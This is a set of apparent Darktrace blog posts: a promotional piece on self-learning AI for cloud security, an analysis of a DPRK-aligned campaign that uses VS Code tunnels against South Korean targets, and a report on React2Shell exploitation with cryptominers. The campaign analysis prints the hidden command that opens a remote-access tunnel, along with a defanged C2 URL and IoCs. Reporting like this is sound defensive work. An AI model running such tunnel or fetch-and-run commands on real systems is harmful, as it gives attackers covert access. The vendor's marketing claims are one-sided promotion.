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November 1, 2023

The Case for Self-Learning AI in Cloud Security

AI that learns each unique cloud environment gives real-time visibility, contextual threat detection, and truly autonomous, cloud-native response — overcoming blind spots and limits of agentless or agent-based tools.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nabil Zoldjalali
VP, Field CISO
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01
Nov 2023

Widespread use of the cloud continues to transform business, while cyber security solutions race to keep up. Today’s multi-cloud environments introduce complexity and gaps in visibility that open doors for attackers. Given the dynamic nature of the cloud, these blind spots are constantly changing. And given its scalability, simple mistakes like a minor misconfiguration can lead to disproportionately large security incidents.

Enterprises can no longer afford to rely on disparate tools and static, point-in-time views of risk. The cloud is inherently complex, and security tools shouldn’t aim to simplify that complexity, but instead harness it, using its scale and intricacy to its advantage.

In a world where the cloud is highly customizable and every cloud is different, a one-size-fits-all approach to cloud security fails to adapt to the nuances of an individual environment. This blog explores how harnessing AI that learns and understands the unique organization can give security teams the visibility, understanding, and real-time detection and response needed to secure the cloud.

Security hinges on action

Typically, cloud security tends to fall into one of two camps:

  • Agentless approaches used by most Cloud Security Posture Management (CSPM) vendors that promise quick and easy installation with minimal disruption of operations, and
  • Agent-based approaches that offer finer granularity but may mean a lengthy, time-consuming, and expensive set-up process.

Both approaches have inherent drawbacks. Agentless solutions typically don’t give security teams the real-time awareness needed to detect emerging threats – be that a malicious insider, a zero-day exploit, or something else. On the other hand, agent-based solutions provide limited reach and scalability, usually being deployed in an area of the cloud the security team already knew posed a risk, offering no new insight and leaving blind spots untouched.

So cloud security today seems to be stuck in a dilemma. And another issue for both methods is that these products may be able to alert analysts when something goes wrong, but lack the ability to mount a genuine response. Even newer solutions claiming to provide automated response are usually referring to automating the process of sending alerts and opening tickets.

Rapid response is the holy grail

The same attributes that make the cloud so useful and attractive to organizations – speed, agility, availability, and scale – hold a symmetrical appeal for attackers. When cyber-attacks in the cloud unfold rapidly, it’s not enough to simply open a ticket and wait for somebody on the other end to pick it up. (If anything, having to field too many tickets can actually bog down triage and investigation, and delay rather than hasten response.) The ultimate test for useful response comes down to whether or not the security team is willing to use it. Response capabilities that never get turned on, with security teams fearful of disruption, miss the point entirely.

Effective response requires an understanding of when and how to respond, as well as having the cloud-native mechanisms to carry out the action. We can break this down into three steps:

Step 1: Beyond Visibility: Real-Time Understanding

Today’s static cloud security solutions provide snapshots of your environment prior to integration and installation. Static insights help validate and set up controls before deployment, but the real risks related to cloud migration appear later.

To drive the right response, your security solution must deliver a real-time, holistic view of your organization’s cloud environment, not just a generic sense of what the environment looks like.

Understanding risk related to the cloud requires more than just visibility. It requires understanding the various patterns of behavior across the environment, and knowing the nuances in how applications and workloads are architected. Who has access to what? Which virtual machines typically connect with each other? Is this container behaving as expected? Is this new Lambda function expected?

Darktrace / CLOUD uses Self-Learning AI to see and understand your unique organization at the cloud network, architectural, and management layers. The ability of AI to recognize patterns across vast quantities of data puts it in a unique position to give security teams genuine insight into what’s happening in their cloud environment right now.

Each deployment and specific use of AI is different (based on your unique environment) but always includes an architectural view of your cloud footprint that aligns security and DevOps teams throughout the deployment lifecycle.  

One beta customer reported deploying Darktrace/Cloud was:

like flipping on a light switch in a dark room."

Step 2: Detection must apply context

With a true understanding of exactly what’s ‘normal’ in your cloud – which users are connecting to what resources, who has access to specific workloads, groups, overlaps, and privileges — the solution progresses toward response by teaching itself to spot what isn’t so normal.

A static snapshot of your cloud security posture can surface unpatched vulnerabilities and problematic misconfigurations, but the insight ends there. Cloud security solutions based on static views and point-in-time visibility can’t connect the dots to deliver the end-goal: the ability to spot real-time threats.

Darktrace/Cloud delivers meaningful insight into vulnerabilities and misconfigurations, but its real-time understanding also enables detection of emerging threats. And combining with other Darktrace modules like Darktrace / NETWORK and Darktrace/Email, it enriches these findings with business context to find and shut down emerging threats in seconds. This business-wide context to understand your cloud footprint and how it interacts with your on-premises infrastructure, endpoints, and applications

Step 3: Response must be truly autonomous

By understanding your unique cloud footprint within the context of your own business, Darktrace/Cloud uniquely detects when something unusual is occurring that requires a response right now.

The use of AI to understand your environment enables a truly autonomous and precise cloud-native response. The platform can take targeted action to stop only the threatening behaviors as they appear, without disrupting regular business operations.

Because the platform understands your complete cloud architecture, it also knows what cloud-native mechanisms are at its disposal to initiate a real response. Automated real-time responses include cloud-native actions like detaching EC2 instances and applying security groups to contain risky assets.

See it in action

Darktrace is offering 30-day free trials of Darktrace/Cloud that combine easy install with unprecedented understanding of multi-cloud environments. Click here to register your interest and experience the benefits first-hand.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nabil Zoldjalali
VP, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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